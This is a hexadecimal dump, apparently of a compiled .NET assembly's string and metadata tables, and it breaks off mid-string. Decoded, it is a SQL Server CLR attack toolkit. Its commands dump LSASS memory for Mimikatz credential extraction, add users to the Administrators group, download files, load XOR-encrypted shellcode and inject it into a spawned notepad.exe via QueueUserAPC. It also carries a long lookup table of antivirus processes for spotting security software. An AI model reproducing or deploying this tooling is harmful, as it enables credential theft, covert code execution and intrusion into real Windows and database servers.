35300504147455F524541444F4E4C5900504147455F52454144575249544500504147455F5752495445434F505900504147455F544152474554535F494E56414C494400504147455F544152474554535F4E4F5F555044415445006850726F63657373006854687265616400647750726F6365737349640064775468726561644964005265736572766564310050656241646472657373005265736572766564320052657365727665643300556E69717565506964004D6F72655265736572766564006362006C705265736572766564006C704465736B746F70006C705469746C6500647758006477590064775853697A650064775953697A6500647758436F756E74436861727300647759436F756E74436861727300647746696C6C41747472696275746573006477466C616773007753686F7757696E646F770063625265736572766564006C705265736572766564320068537464496E70757400685374644F757470757400685374644572720053797374656D2E436F6C6C656374696F6E732E47656E65726963004C69737460310061764C697374007365727665726E616D65004D61727368616C417341747472696275746500556E6D616E6167656454797065006C6576656C00627566007061726D5F6572720067726F75706E616D6500746F74616C656E7472696573007365727665724E616D6500757365724E616D650070617373776F726400737472436F6D6D656E740067726F75704E616D650055524C0066696C656E616D650075726C006C6F63616C706174680070726F636573734964006846696C650064756D705479706500657870506172616D007573657253747265616D506172616D0063616C6C6261636B506172616D00696E46696C65006F757446696C650064756D7044697200636D64006477446573697265644163636573730062496E686572697448616E646C65006C704164647265737300647753697A6500666C416C6C6F636174696F6E5479706500666C50726F74656374006C704261736541646472657373006C70427566666572006E53697A65006C704E756D6265724F6642797465735772697474656E0070666E4150430064774461746100684F626A656374006C704170706C69636174696F6E4E616D65006C70436F6D6D616E644C696E65006C7050726F6341747472696273006C70546872656164417474726962730062496E686572697448616E646C6573006477437265617465466C616773006C70456E7669726F6E6D656E74006C7043757272656E74446972006C705374617274696E666F00496E417474726962757465006C7050726F63496E666F726D6174696F6E004F75744174747269627574650062696E6172795061746800636970686572006B657900636F64650066696C650053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500446C6C496D706F7274417474726962757465004E657461706933322E646C6C0053797374656D2E44617461004D6963726F736F66742E53716C5365727665722E5365727665720053716C436F6E746578740053716C50697065006765745F506970650053656E64005374727563744C61796F7574417474726962757465004C61796F75744B696E640053797374656D2E4E657400576562526571756573740043726561746500487474705765625265717565737400576562526573706F6E736500476574526573706F6E73650048747470576562526573706F6E73650053797374656D2E494F0053747265616D00476574526573706F6E736553747265616D0046696C6553747265616D0046696C654D6F64650042797465005265616400577269746500436C6F73650041626F727400546F537472696E6700537472696E6700436F6E63617400457863657074696F6E0064626768656C702E646C6C0053797374656D2E53656375726974792E5072696E636970616C0057696E646F77734964656E746974790047657443757272656E740057696E646F77735072696E636970616C0057696E646F77734275696C74496E526F6C65004973496E526F6C650046696C650045786973747300466F726D61740044656C6574650052656164416C6C42797465730053797374656D2E494F2E436F6D7072657373696F6E00475A697053747265616D00436F6D7072657373696F6E4D6F64650049446973706F7361626C6500446973706F7365006765745F4D65737361676500496E74507472005A65726F0050726F636573730047657450726F63657373657342794E616D650047657450726F6365737342794964006765745F50726F636573734E616D65006F705F457175616C697479006765745F4964006765745F48616E646C6500496E7433320055496E7433320046696C654163636573730046696C655368617265004D6963726F736F66742E57696E33322E5361666548616E646C6573005361666546696C6548616E646C65006765745F5361666546696C6548616E646C6500456E7669726F6E6D656E7400476574456E7669726F6E6D656E745661726961626C65004D6963726F736F66742E57696E33320052656769737472790052656769737472794B6579004C6F63616C4D616368696E65004F70656E5375624B65790047657456616C756500426F6F6C65616E004469726563746F72790053716C50726F63656475726541747472696275746500436F6E7461696E7300436861720053706C6974004B65726E656C3332006B65726E656C33322E646C6C004B65726E656C33322E646C6C006F705F4578706C6963697400436F6E766572740046726F6D426173653634537472696E670053797374656D2E5465787400456E636F64696E67006765745F41534349490047657442797465730052656164416C6C546578740044696374696F6E617279603200456E756D657261746F7200476574456E756D657261746F72006765745F43757272656E740053797374656D2E546578742E526567756C617245787072657373696F6E730052656765780052656765784F7074696F6E7300416464004D6F76654E6578740047657450726F6365737365730054727947657456616C756500474300436F6C6C6563740049456E756D657261626C6560310041646452616E676500436F6E736F6C650057726974654C696E65004372656174655375624B657900526567697374727956616C75654B696E640053657456616C75650050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E64617264496E707574007365745F52656469726563745374616E646172644F7574707574007365745F52656469726563745374616E646172644572726F72007365745F4372656174654E6F57696E646F770053746172740053747265616D577269746572006765745F5374616E64617264496E70757400546578745772697465720057616974466F72457869740053797374656D2E436F6D706F6E656E744D6F64656C00436F6D706F6E656E7400002B5B0058005D0020004500720072006F007200200041006400640069006E00670020005500730065007200002F5B002A005D00200041006400640069006E0067002000550073006500720020007300750063006300650073007300003B5B0058005D0020004500720072006F007200200041006400640069006E0067002000470072006F007500700020004D0065006D00620065007200003F5B002A005D00200041006400640069006E0067002000470072006F007500700020004D0065006D0062006500720020007300750063006300650073007300001D410064006D0069006E006900730074007200610074006F0072007300001D5B0058005D0020004500520052004F00520020004C006F0067003A0000295B002A005D00200044006F0077006E006C006F00610064002000730075006300630065007300730000235B0058005D00200044006F0077006E006C006F006100640020006600610069006C00005D5B0058005D0020004F00750074007000750074002000660069006C006500200027007B0030007D002700200061006C007200650061006400790020006500780069007300740073002C002000720065006D006F00760069006E00670001535B0058005D00200045007800630065007000740069006F006E0020007700680069006C006500200063006F006D007000720065007300730069006E0067002000660069006C0065003A0020007B0030007D00000B6C00730061007300730000270A005B0058005D0045007800630065007000740069006F006E003A0020007B0030007D000A0000610A005B0058005D0020004E006F007400200069006E0020006800690067006800200069006E0074006500670072006900740079002C00200075006E00610062006C006500200074006F0020004D0069006E006900440075006D00700021000A0000590A005B0058005D0020004500720072006F0072002000670065007400740069006E0067002000680061006E0064006C006500200074006F0020007B0030007D00200028007B0031007D0029003A0020007B0032007D000A0000217B0030007D005C00640065006200750067007B0031007D002E006F007500740000217B0030007D005C00640065006200750067007B0031007D002E00620069006E00003B0A005B002A005D002000440075006D00700069006E00670020007B0030007D00200028007B0031007D002900200074006F0020007B0032007D0000295B002B005D002000440075006D00700020007300750063006300650073007300660075006C002100004B0A005B002A005D00200043006F006D007000720065007300730069006E00670020007B0030007D00200074006F0020007B0031007D00200067007A00690070002000660069006C00650000215B002A005D002000440065006C006500740069006E00670020007B0030007D000080870A005B002B005D002000440075006D00700069006E006700200063006F006D0070006C0065007400650064002E002000520065006E0061006D0065002000660069006C006500200074006F0020002200640065006200750067007B0030007D002E0067007A002200200074006F0020006400650063006F006D00700072006500730073002E00002D500052004F0043004500530053004F0052005F004100520043004800490054004500430054005500520045000001005953006F006600740077006100720065005C004D006900630072006F0073006F00660074005C00570069006E0064006F007700730020004E0054005C00430075007200720065006E007400560065007200730069006F006E0000077B0030007D000017500072006F0064007500630074004E0061006D00650000370A005B002A005D0020004F007000650072006100740069006E0067002000530079007300740065006D0020003A0020007B0030007D0000355B002A005D002000410072006300680069007400650063007400750072006500200020002000200020003A0020007B0030007D000080B75B002A005D00200055007300650020002200730065006B00750072006C00730061003A003A006D0069006E006900640075006D0070002000640065006200750067002E006F0075007400220020002200730065006B00750072006C00730061003A003A006C006F0067006F006E00500061007300730077006F007200640073002000660075006C006C00220020006F006E0020007400680065002000730061006D00650020004F0053002F0061007200630068000A0000295B0058005D002000440075006D00700020006600610069006C00650064003A0020007B0030007D0000530A005B0058005D002000440075006D00700020006400690072006500630074006F0072007900200022007B0030007D002200200064006F00650073006E002700740020006500780069007300740021000A00011B63006C0072005F00640075006D0070006C0073006100730073000015530079007300740065006D0052006F006F00740000137B0030007D005C00540065006D0070005C00001363006C0072005F0067006500740061007600000F63006C0072005F00720064007000001763006C0072005F006100640064007500730065007200001963006C0072005F0064006F0077006E006C006F0061006400001963006C0072005F00730063006C006F006100640065007200001B63006C0072005F00730063006C006F0061006400650072003100001B63006C0072005F00730063006C006F0061006400650072003200001B43006F006D006D0061006E00640020006500720072006F00720000335B002B005D00200045006E00630072007900700074005300680065006C006C0063006F00640065003A0020007B0030007D00001F5B002B005D00200058006F0072004B00650079003A0020007B0030007D00003F43003A002F00570069006E0064006F00770073002F00530079007300740065006D00330032002F006E006F00740065007000610064002E0065007800650000395B002B005D00200053007400610072007400500072006F00630065007300730020006E006F00740065007000610064002E0065007800650000315B002B005D0020004F00700065006E00500072006F00630065007300730020005000690064003A0020007B0030007D0000355B002B005D0020005600690072007400750061006C0041006C006C006F0063004500780020005300750063006300650073007300006B5B002B005D002000510075006500750065005500730065007200410050004300200049006E006A0065006300740020007300680065006C006C0063006F0064006500200074006F0020005000490044003A0020007B0030007D0020005300750063006300650073007300003B5B002B005D00200068004F00700065006E00500072006F00630065007300730043006C006F00730065002000530075006300630065007300730000670A000A005B002A005D002000510075006500750065005500730065007200410050004300200049006E006A0065006300740020007300680065006C006C0063006F0064006500200053007500630063006500730073002C00200065006E006A006F0079002100003B5B002B005D00200045006E00630072007900700074005300680065006C006C0063006F006400650050006100740068003A0020007B0030007D00002D5B002B005D0020005300680065006C006C0063006F006400650050006100740068003A0020007B0030007D0000033A00001F5B002A005D002000460069006E00640069006E0067002E002E002E002E0000412000200020005B003E005D002000700072006F004E0061006D0065003A0020007B0030007D0020006100700070004E0061006D0065003A0020007B0031007D0000555B0021005D0020004E006F00200061006E00740069002D0076006900720075007300200073006F0066007400770061007200650020006F006E002000740068006900730020006D0061006300680069006E00650001175B002A005D002000460069006E006900730068002100002933003600300074007200610079003A00330036003000895B68516B53EB582D009E5BF665DD4FA462012733003600300073006100660065003A00330036003000895B68516B53EB582D003B4E0B7A8F5E01355A006800750044006F006E006700460061006E006700590075003A00330036003000895B68516B53EB582D003B4EA8523296A15F0117330036003000730064003A003300360030004067D26B012761003200670075006100720064003A0061002D0073007100750061007200650064004067D26B0127610064002D00770061007400630068003A004C0061007600610073006F00660074004067D26B012D63006C00650061006E006500720038003A00540068006500200043006C00650061006E00650072004067D26B0121760062006100330032006C006400650072003A0076006200330032004067D26B012D4D006F006E0067006F006F00730061004700550049003A004D006F006E0067006F006F00730061004067D26B014943006F00720061006E007400690043006F006E00740072006F006C00430065006E00740065007200330032003A0043006F00720061006E007400690032003000310032004067D26B012F46002D00500052004F0054003A0046002D00500072006F007400200041006E007400690056006900720075007300012343004D0043005400720061007900490063006F006E003A0043004D0043004067D26B01214B0037005400530065006300750072006900740079003A004B0037004067D26B012755006E005400680072006500610074003A0055006E005400680072006500610074004067D26B015143004B0053006F00660074005300680069006500640041006E00740069007600690072007500730034003A0053006800690065006C006400200041006E0074006900760069007200750073004067D26B013B410056005700610074006300680053006500720076006900630065003A005600490052005500530066006900670068007400650072004067D26B013541007200630061005400610073006B00730053006500720076006900630065003A0041007200630061005600690072004067D26B01216900700074007200610079003A0049006D006D0075006E00650074004067D26B01295000530061006600650053007900730054007200610079003A00500053006100660065004067D26B01276E0073007000750070007300760063003A006E00500072006F0074006500630074004067D26B015D53007000790077006100720065005400650072006D0069006E00610074006F00720053006800690065006C0064003A0053007000790077006100720065005400650072006D0069006E00610074006F007200CD53F4950D8C6F8FF64E012542004B006100760053006500720076006900630065003A0042006B00610076004067D26B01314D0073004D00700045006E0067003A00570069006E0064006F0077007300200044006500660065006E00640065007200001B5300420041004D005300760063003A00560049005000520045000023630063005300760063004800730074003A004E006F00720074006F006E004067D26B011766002D007300650063007500720065003A00B0519B5C011B6100760070003A004B006100730070006500720073006B00790000194B0076004D006F006E00580050003A005F6C116C4067D26B01195200610076004D006F006E0044003A005E741F664067D26B011F4D00630073006800690065006C0064003A004D00630041006600650065000019540062006D006F006E003A004D0063004100660065006500002F4600720061006D00650077006F0072006B0073006500720076006900630065003A004D0063004100660065006500001F65006700750069003A00450053004500540020004E004F00440033003200001F65006B0072006E003A00450053004500540020004E004F0044003300320000296500670075006900500072006F00780079003A00450053004500540020004E004F0044003300320000196B007800650074007200610079003A00D191715CD26B3897011B6B006E007300640074007200610079003A00EF535B724067D26B011954004D0042004D005300520056003A008B8DBF524067D26B012761007600630065006E007400650072003A004100760069007200610028000F5CA27E1E4F2900012561007600670075006100720064003A004100760069007200610028000F5CA27E1E4F290001216100760067006E0074003A004100760069007200610028000F5CA27E1E4F29000121730063006800650064003A004100760069007200610028000F5CA27E1E4F2900012361007300680044006900730070003A0041007600610073007400517FDC7E895B685101197200740076007300630061006E003A00FA8B7F984067D26B0129630063006100700070003A00530079006D0061006E007400650063004E006F00720074006F006E0000274E00500046004D006E0074006F0072003A004E006F00720074006F006E004067D26B6F8FF64E011B630063005300650074004D00670072003A005B8DE895C1944B510127630063005200650067005600660079003A004E006F00720074006F006E004067D26B6F8FF64E01156B0073006100660065003A00D191715C6B53EB58011D51005100500043005200540050003A005100510035751181A17BB65B011D610076006700770064007300760063003A004100560047004067D26B012B5100550048004C0050005300560043003A0051005500490043004B0020004800450041004C004067D26B011B6D0073007300650063006500730073003A00AE5F6F8F4067D26B0129530061007600500072006F00670072006500730073003A0053006F00700068006F0073004067D26B012353006F00700068006F007300550049003A0053006F00700068006F0073004067D26B012353006F00700068006F007300460053003A0053006F00700068006F0073004067D26B012B53006F00700068006F0073004800650061006C00740068003A0053006F00700068006F0073004067D26B013553006F00700068006F0073005300610066006500730074006F0072006500360034003A0053006F00700068006F0073004067D26B012B53006F00700068006F00730043006C00650061006E004D003A0053006F00700068006F0073004067D26B012566007300610076006700750069003A0046002D005300650063007500720065004067D26B01177600730073006500720076003A00D46B7972B568B75F0117720065006D007500700064003A008A712B736B53EB58011946006F0072007400690054007200610079003A00DE9854580117730061006600650064006F0067003A00895B6851D77201177000610072006D006F0072003A0028676C9A4B511F66012149007000610072006D006F0072002E006500780065003A0028676C9A4B511F66011D6200650069006B006500730061006E003A001D8DF358914E895B685101214B00530057006500620053006800690065006C0064003A00D191715C517FFE760123540072006F006A0061006E00480075006E007400650072003A0028676C9A0E734B620115470047003A00E85DFE76517F386E895B6851FE7601176100640061006D003A00FF7E709E895B6851BE7C757001114100530054003A00858DA77EE15D668B012361006E0061006E007700690064006700650074003A00A8580580895B6851134EB65B0121410056004B003A0041006E0074006900560069007200750073004B006900740000256100760067003A00410056004700200041006E00740069002D0056006900720075007300011F7300700069006400650072006E0074003A00440072002E00770065006200002B61007600670061007500720064003A0041007600690072006100200041006E00740069007600690072000021760073006D006F006E003A005A006F006E006500200041006C00610072006D0000156300700066003A0043006F006D006F0064006F0000316F007500740070006F00730074003A004F007500740070006F007300740020004600690072006500770061006C006C00001B7200660077006D00610069006E003A005E741F6632966B709958011B6B0070006600770074007200610079003A00D191715C517F56950121460059004600690072006500570061006C006C003A00CE98914E32966B70995801194D0050004D006F006E003A00AE5FB9703B4EA8523296A15F01137000660077003A002959517F32966B709958012942006100690064007500530064005300760063003A007E76A65E4067D26B2D000D67A152DB8F0B7A012B420061006900640075005300640054007200610079003A007E76A65E4067D26B2D005862D876DB8F0B7A012142006100690064007500530064003A007E76A65E4067D26B2D003B4E0B7A8F5E012D530061006600650044006F00670047007500610072006400430065006E007400650072003A00895B6851D772012F730061006600650064006F006700750070006400610074006500630065006E007400650072003A00895B6851D772012D730061006600650064006F00670067007500610072006400630065006E007400650072003A00895B6851D7720125530061006600650044006F00670053006900740065004900490053003A00895B6851D772011F530061006600650044006F00670054007200610079003A00895B6851D7720127530061006600650044006F006700530065007200760065007200550049003A00895B6851D772012144005F0053006100660065005F004D0061006E006100670065003A004400FE76011764005F006D0061006E006100670065003A004400FE76012F790075006E00730075006F005F006100670065006E0074005F0073006500720076006900630065003A00914E0195012D790075006E00730075006F005F006100670065006E0074005F006400610065006D006F006E003A00914E01950119480077007300500061006E0065006C003A00A4626B535E7901156800770073005F00750069003A00A4626B535E79010F6800770073003A00A4626B535E79011168007700730064003A00A4626B535E790117480069007000730054007200610079003A006B70D27E011B48006900700073004400610065006D006F006E003A006B70D27E0113770073006300740072006C003A006B70D27E0117750073007900730064006900610067003A006B70D27E012153005000480049004E0058003A0053005000480049004E00580032966B70995801236200640064006F0077006E006C006F0061006400650072003A007E76A65E6B53EB5801276200610069006400750061006E007300760078003A007E76A65E6B53EB582D003B4EDB8F0B7A012541007600610073007400550049003A0041007600610073007400210035003B4E0B7A8F5E011F65006D00650074005F006100670065006E0074003A0045004D0045005400002365006D00650074005F0073006500720076006900630065003A0045004D0045005400001D66006900720065007300760063003A004D0063004100660065006500001F660069007200650074007200610079003A004D0063004100660065006500001B6800690070007300760063003A004D0063004100660065006500001D6D006600650076007400700073003A004D006300410066006500650000236D006300610066006500650066006900720065003A004D0063004100660065006500001B7300630061006E00330032003A004D0063004100660065006500001B7300680073007400610074003A004D0063004100660065006500001F76007300740073006B006D00670072003A004D0063004100660065006500002765006E00670069006E0065007300650072007600650072003A004D0063004100660065006500001B6D006600650061006E006E003A004D0063004100660065006500001F6D0063007300630072006900700074003A004D006300410066006500650000217500700064006100740065007200750069003A004D0063004100660065006500001F750064006100740065007200750069003A004D0063004100660065006500001F6E0061007000720064006D00670072003A004D0063004100660065006500001D63006C00650061006E00750070003A004D0063004100660065006500001F63006D0064006100670065006E0074003A004D0063004100660065006500001D660072006D0069006E00730074003A004D0063004100660065006500002B6D0063007300630072006900700074005F0069006E007500730065003A004D0063004100660065006500001B6D00630074007200610079003A004D006300410066006500650000175F00610076007000330032003A006153F45DAF65FA5701175F00610076007000630063003A006153F45DAF65FA5701155F006100760070006D003A006153F45DAF65FA57011761004100760067004100700069003A00410056004700002D610063006B00770069006E00330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013361006C006500720074007300760063003A004E006F00720074006F006E00200041006E007400690056006900720075007300003361006C006F00670073006500720076003A004D00630041006600650065002000560069007200750073005300630061006E00003B61006E00740069002D00740072006F006A0061006E003A0041006E00740069002D00540072006F006A0061006E00200045006C00690074006500013B6100720072003A004100700070006C00690063006100740069006F006E0020005200650071007500650073007400200052006F00750074006500001F61007400670075006100720064003A0041006E0074006900560069007200002F6100740075007000640061007400650072003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D61007400770061007400630068003A004D0075007300740065006B00000F610075003A004E00530049005300002161007500700064006100740065003A00530079006D0061006E0074006500630000476100750074006F002D00700072006F0074006500630074002E006E0061007600380030007400720079003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013D6100750074006F0064006F0077006E003A0041006E00740069005600690072007500730020004100750074006F005500700064006100740065007200001F6100760063006F006E0073006F006C003A004D0063004100660065006500001761007600670063006300330032003A0041005600470000176100760067006300740072006C003A00410056004700001561007600670065006D0063003A0041005600470000156100760067007200730078003A00410056004700001761007600670073006500720076003A004100560047000019610076006700730065007200760039003A00410056004700001161007600670077003A004100560047000033610076006B0070006F0070003A00470020004400410054004100200053004F004600540057004100520045002000410047000035610076006B0073006500720076003A00470020004400410054004100200053004F00460054005700410052004500200041004700003B610076006B0073006500720076006900630065003A00470020004400410054004100200053004F004600540057004100520045002000410047000037610076006B007700630074006C0039003A00470020004400410054004100200053004F004600540057004100520045002000410047000045610076006C0074006D00610069006E003A00500061006E0064006100200053006F006600740077006100720065002000410070006C00690063006100740069006F006E00003B610076006E0074003A0048002B004200450044005600200044006100740065006E0074006500630068006E0069006B00200047006D00620048000035610076007000330032003A004B006100730070006500720073006B007900200041006E00740069002D00560069007200750073000135610076007000630063003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300003B61007600700064006F007300330032003A0020004B006100730070006500720073006B007900200041006E00740069005600690072007500730000336100760070006D003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300003961007600700074006300330032003A0020004B006100730070006500720073006B007900200041006E00740069005600690072007500730000376100760070007500700064003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300001F61007600730079006E006D00670072003A004D0063004100660065006500001B61007600770069006E003A00200048002B00420045004400560000456200610072006700610069006E0073003A004500780061006300740020004100640076006500720074006900730069006E00670020005300700079005700610072006500001962006500610067006C0065003A0041007600610073007400001F62006C00610063006B0064003A0042006C00610063006B00490043004500002362006C00610063006B006900630065003A0042006C00610063006B00490043004500002162006C0069006E006B003A006D006900630072006F006D006500640069006100001B62006C00730073003A00430042006C0061007300740065007200002362006F006F0074007700610072006E003A00530079006D0061006E0074006500630000196200700063003A00470072006F006B0073007400650072000031620072006100730069006C003A004500780061006300740020004100640076006500720074006900730069006E0067000043630063006500760074006D00670072003A004E006F00720074006F006E00200049006E007400650072006E006500740020005300650063007500720069007400790000276300640070003A00430079006200650072004C0069006E006B00200043006F00720070002E0000336300660064003A004D006F007400690076006500200043006F006D006D0075006E00690063006100740069006F006E0073000031630066006700770069007A003A0020004E006F00720074006F006E00200041006E007400690056006900720075007300002963006C0061007700390035003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D63006C006100770039003500630066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012B63006C00650061006E003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E012F63006C00650061006E00650072003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E013163006C00650061006E006500720033003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E012F63006C00650061006E00700063003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E01156300700064003A004D006300410066006500650000256300740072006C003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0121630076003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012364006500660061006C006500720074003A00530079006D0061006E0074006500630000276400650066007300630061006E006700750069003A00530079006D0061006E007400650063000033640065006600770061007400630068003A004E006F00720074006F006E00200041006E007400690076006900720075007300002764006F006F00720073003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01236400700066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011F640070007000730032003A00500061006E0069006300570061007200650000276400730073006100670065006E0074003A00420072006F00640065007200620075006E006400002D6500630065006E00670069006E0065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D65006D00730077003A0041006C00730065007400200049006E006300002365006E0074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D650073007000770061007400630068003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013565007400680065007200650061006C003A0052006100740069006F006E0061006C0043006C006500610072004300610073006500002D6500780065002E0061007600780077003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01296500780070006500720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D66002D00700072006F007400390035003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0121660061006D0065006800330032003A0046002D00530065006300750072006500011B66006100730074003A0020004600610073007400550073007200001D660063006800330032003A0046002D00530065006300750072006500011D660069006800330032003A0046002D005300650063007500720065000123660069006E00640076006900720075003A0046002D0053006500630075007200650001336600690072006500770061006C006C003A0041007300680061006D0070006F006F0053006F00660074007700610072006500001F66006E0072006200330032003A0046002D005300650063007500720065000143660070002D00770069006E003A00200046002D00500072006F007400200041006E00740069007600690072007500730020004F006E00440065006D0061006E006400011B66007300610061003A0046002D00530065006300750072006500011B66007300610076003A0046002D00530065006300750072006500011F6600730061007600330032003A0046002D00530065006300750072006500012B6600730061007600350033003000730074006200790062003A0046002D00530065006300750072006500012B6600730061007600350033003000770074006200790062003A0046002D00530065006300750072006500011F6600730061007600390035003A0046002D00530065006300750072006500011F6600730067006B00330032003A0046002D00530065006300750072006500011D660073006D00330032003A0046002D00530065006300750072006500011F660073006D006100330032003A0046002D00530065006300750072006500011F660073006D006200330032003A0046002D005300650063007500720065000129670062006D0065006E0075003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0117670075006100720064003A0065007700690064006F00001D6700750061007200640064006F0067003A0065007700690064006F000027680074006C006F0067003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F015D68007400700061007400630068003A00530069006C00690063006F006E00200049006E00740065006700720061007400650064002000530079007300740065006D007300200043006F00720070006F0072006100740069006F006E00002568007700700065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011F690061006D006100700070003A00530079006D0061006E007400650063000021690061006D0073006500720076003A00530079006D0061006E007400650063000023690061006D00730074006100740073003A00530079006D0061006E00740065006300002D690065006400720069007600650072003A002000550072006C0062006C0061007A0065002E0063006F006D000039690066006100630065003A00500061006E0064006100200041006E00740069007600690072007500730020004D006F00640075006C006500002569006E006600750073003A0049006E0066007500730020004400690061006C0065007200002B69006E006600770069006E003A004D007300760069006500770070006100720061007300690074006500002969006E007400640065006C003A0049006E00650074002000440065006C0069007600650072007900002969006E007400720065006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01296A0061006D006D00650072003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6B0061007600700066003A004B00610070006500720073006B007900001D6B0061007A007A0061003A004B00610070006500720073006B007900002F6B00650065006E00760061006C00750065003A00450055004E00490056004500520053004500200049004E00430000356C00610075006E0063006800650072003A0049006E0074006500720063006F00720074002000530079007300740065006D00730000276C006400700072006F003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01416C0064007300630061006E003A00570069006E0064006F00770073002000540072006F006A0061006E007300200049006E00730070006500630074006F007200002D6C006F00630061006C006E00650074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6C00750061006C006C003A00530079006D0061006E00740065006300001B6C007500610075003A00530079006D0061006E0074006500630000256C00750063006F006D007300650072007600650072003A004E006F00720074006F006E00001D6D0063006100670065006E0074003A004D0063004100660065006500001F6D0063006D006E00680064006C0072003A004D0063004100660065006500001B6D00630074006F006F006C003A004D0063004100660065006500001F6D0063007500700064006100740065003A004D0063004100660065006500001D6D006300760073007200740065003A004D0063004100660065006500001F6D00630076007300730068006C0064003A004D006300410066006500650000376D00660069006E00330032003A004D007900460072006500650049006E007400650072006E006500740055007000640061007400650000376D0066007700320065006E003A004D007900460072006500650049006E007400650072006E006500740055007000640061007400650000456D006600770065006E00670033002E00300032006400330030003A004D007900460072006500650049006E007400650072006E0065007400550070006400610074006500001F6D006700610076007200740063006C003A004D0063004100660065006500001D6D006700610076007200740065003A004D0063004100660065006500001B6D006700680074006D006C003A004D0063004100660065006500001D6D006700750069003A00420075006C006C0047007500610072006400002B6D0069006E0069006C006F0067003A005A006F006E00650020004C00610062007300200049006E006300001B6D006D006F0064003A0045007A0075006C00610049006E00630000296D006F0073007400610074003A005700750072006C0064004D00650064006900610049006E006300001F6D00700066006100670065006E0074003A004D006300410066006500650000236D007000660073006500720076006900630065003A004D0063004100660065006500001D6D007000660074007200610079003A004D0063004100660065006500005D6D007300630061006300680065003A0049006E00740065006700720061007400650064002000530065006100720063006800200054006500630068006E006F006C006F0067006900650073002000530070007900770061007200650000376D00730063006D0061006E003A004F0064007900730073006500750073004D00610072006B006500740069006E00670049006E00630000396D0073006D00670074003A0054006F00740061006C002000560065006C006F0063006900740079002000530070007900770061007200650000236D0073007600780064003A005700330032002F004400610074006F006D002D00410001296D00770061007400630068003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01276E00610076003A00520065007500740065007200730020004C0069006D00690074006500640000336E0061007600610070007300760063003A004E006F00720074006F006E00200041006E00740069005600690072007500730000336E0061007600610070007700330032003A004E006F00720074006F006E00200041006E007400690056006900720075007300002F6E00610076007700330032003A004E006F00720074006F006E00200041006E00740069007600690072007500730000196E0064006400330032003A00FA8B7F98C178D8763B531F7501336E0065006F00770061007400630068006C006F0067003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6E00650074007500740069006C0073003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6E006900730073006500720076003A004E006F00720074006F006E0000196E006900730075006D003A004E006F00720074006F006E0000196E006D00610069006E003A004E006F00720074006F006E0000336E006F006400330032003A004500530045005400200053006D0061007200740020005300650063007500720069007400790000556E006F00720074006F006E005F0069006E007400650072006E00650074005F0073006500630075005F0033002E0030005F003400300037003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6E006F007400730074006100720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01236E00700072006F0074006500630074003A00530079006D0061006E00740065006300001F6E007000730063006800650063006B003A004E006F00720074006F006E00001B6E00700073007300760063003A004E006F00720074006F006E0000256E007400720074007300630061006E003A008B8DBF52CD53C575D26B945E28750B7A8F5E01236E00750069003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01276F0074006600690078003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6F007500740070006F007300740069006E007300740061006C006C003A004F007500740070006F00730074000015700061007400630068003A008B8DBF52D1798062012570006100760077003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0117700063007300630061006E003A008B8DBF52D1798062012B70006400730065007400750070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013B7000650072007300660077003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C000037700067006D006F006E006900740072003A00500072006F006D0075006C00470061007400650020005300700079005700610072006500002D700069006E0067007300630061006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012970006C006100740069006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012570006F007000330074007200610070003A00500043002D00630069006C006C0069006E00012F70006F00700072006F00780079003A004E006F00720074006F006E0041006E007400690056006900720075007300002B70006F0070007300630061006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F015170006F007700650072007300630061006E003A0049006E00740065006700720061007400650064002000530065006100720063006800200054006500630068006E006F006C006F006700690065007300002D7000700069006E0075007000640074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0127700070007400620063003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012B700070007600730074006F0